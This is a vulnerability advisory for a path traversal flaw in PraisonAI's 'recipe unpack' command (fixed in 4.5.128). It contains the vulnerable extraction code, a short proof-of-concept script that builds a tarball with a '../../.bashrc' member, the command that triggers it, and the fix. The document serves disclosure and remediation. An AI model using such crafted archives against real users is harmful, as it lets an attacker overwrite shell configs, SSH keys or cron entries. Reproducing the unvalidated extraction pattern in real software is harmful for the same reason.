Skip to content

GHSA-99g3-w8gr-x37c CVE-2026-40157 PYSEC-2026-469

PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`

High PyPI
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.38%
Chance of exploitation in the next 30 days. Higher than 31.85% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
4.5.128
Upgrade praisonai to this version or later

Description

Field Value
Severity Critical
Type Path traversal -- arbitrary file write via tar.extract() without member validation
Affected src/praisonai/praisonai/cli/features/recipe.py:1170-1172

Summary

cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack.

Details

The vulnerable code is in cli/features/recipe.py:1170-1172:

for member in tar.getmembers():
    if member.name != "manifest.json":
        tar.extract(member, recipe_dir)

The only check is whether the member is manifest.json. The code never validates member names -- absolute paths, .. components, and symlinks all pass through. Python's tarfile.extract() resolves these relative to the destination, so a member named ../../.bashrc lands two directories above recipe_dir.

The codebase does contain a safe extraction function (_safe_extractall in recipe/registry.py:131-162) that rejects absolute paths, .. segments, and resolved paths outside the destination. It is used by the pull and publish paths, but cmd_unpack does not call it.

# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    dest = str(dest_dir.resolve())
    for member in tar.getmembers():
        if os.path.isabs(member.name):
            raise RegistryError(...)
        if ".." in member.name.split("/"):
            raise RegistryError(...)
        resolved = os.path.realpath(os.path.join(dest, member.name))
        if not resolved.startswith(dest + os.sep):
            raise RegistryError(...)
    tar.extractall(dest_dir)

PoC

Build a malicious bundle:

import tarfile, io, json

manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode()

with tarfile.open("malicious.praison", "w:gz") as tar:
    info = tarfile.TarInfo(name="manifest.json")
    info.size = len(manifest)
    tar.addfile(info, io.BytesIO(manifest))

    payload = b"export EVIL=1  # injected by malicious recipe\n"
    evil = tarfile.TarInfo(name="../../.bashrc")
    evil.size = len(payload)
    tar.addfile(evil, io.BytesIO(payload))

Trigger:

praisonai recipe unpack malicious.praison -o ./recipes
# Expected: files written only under ./recipes/legit-recipe/
# Actual:   .bashrc written two directories above the output dir

Impact

Path Traversal blocked?
praisonai recipe pull <name> Yes -- uses _safe_extractall
praisonai recipe publish <bundle> Yes -- uses _safe_extractall
praisonai recipe unpack <bundle> No -- raw tar.extract()

An attacker needs to get a victim to unpack a malicious .praison bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.

Depending on filesystem permissions, an attacker can overwrite shell config files (.bashrc, .zshrc), cron entries, SSH authorized_keys, or project files in parent directories. The attacker controls both the path and the content of every written file.

Remediation

Replace the raw extraction loop with _safe_extractall:

# cli/features/recipe.py:1170-1172
# Before:
for member in tar.getmembers():
    if member.name != "manifest.json":
        tar.extract(member, recipe_dir)

# After:
from praisonai.recipe.registry import _safe_extractall
_safe_extractall(tar, recipe_dir)

Affected paths

  • src/praisonai/praisonai/cli/features/recipe.py:1170-1172 -- cmd_unpack extracts tar members without path validation

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
>= 2.7.2, < 4.5.128
4.5.128

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.5.128

pip
pip install --upgrade "praisonai>=4.5.128"
poetry
poetry add "praisonai>=4.5.128"
uv
uv add "praisonai>=4.5.128"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-26mh-57q7-jfvr
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
High Also affects praisonai
GHSA-6g6r-q6gw-w8fg
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
Critical Also affects praisonai
GHSA-pvph-5j39-v8qc
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
High Also affects praisonai
GHSA-gfq8-hmph-9gjv
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
High Also affects praisonai
GHSA-2jgc-f764-c5r2
PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
High Also affects praisonai
GHSA-pvxx-r596-f5qj
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
High Also affects praisonai
GHSA-hmfx-4v44-9qw9
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Medium Also affects praisonai
GHSA-rg5q-pp8p-f7jm
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
High Also affects praisonai
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor